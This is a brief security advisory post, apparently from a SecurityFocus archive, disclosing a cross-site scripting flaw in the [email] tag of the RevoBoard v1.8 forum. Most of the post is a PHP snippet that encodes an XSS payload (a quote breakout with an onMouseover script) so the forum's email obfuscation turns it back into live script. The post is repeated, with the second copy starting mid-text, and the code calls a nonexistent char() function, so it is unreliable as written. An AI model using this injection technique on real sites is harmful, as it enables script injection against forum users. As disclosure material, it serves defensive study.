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RevoBoard [email] tag XSS
Apr 13 2006 06:45AM
r0xes ratm gmail com
Revoboard (php) is based on an earlier version of PunBB.
I know for sure that this affects v1.8.
The email tag parser obsfucates emails to stop harvesters. To execute code, do this:
[php]
$code = '\'" onMouseover="javascript:alert(/xss/)">';
for($a=0;$a<strlen($code);$a++){
$c = ord(substr($code,$a,1));
$c += intval(-2);
$str .= char($c);
}
print $str;
[/php]
And you just paste $str into the tag =).
r0xes
dynxss.whiteacid.org
criticalsecurity.net
[ reply ]
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Copyright 2010, SecurityFocus
I know for sure that this affects v1.8.
The email tag parser obsfucates emails to stop harvesters. To execute code, do this:
[php]
$code = '\'" onMouseover="javascript:alert(/xss/)">';
for($a=0;$a<strlen($code);$a++){
$c = ord(substr($code,$a,1));
$c += intval(-2);
$str .= char($c);
}
print $str;
[/php]
And you just paste $str into the tag =).
r0xes
dynxss.whiteacid.org
criticalsecurity.net
[ reply ]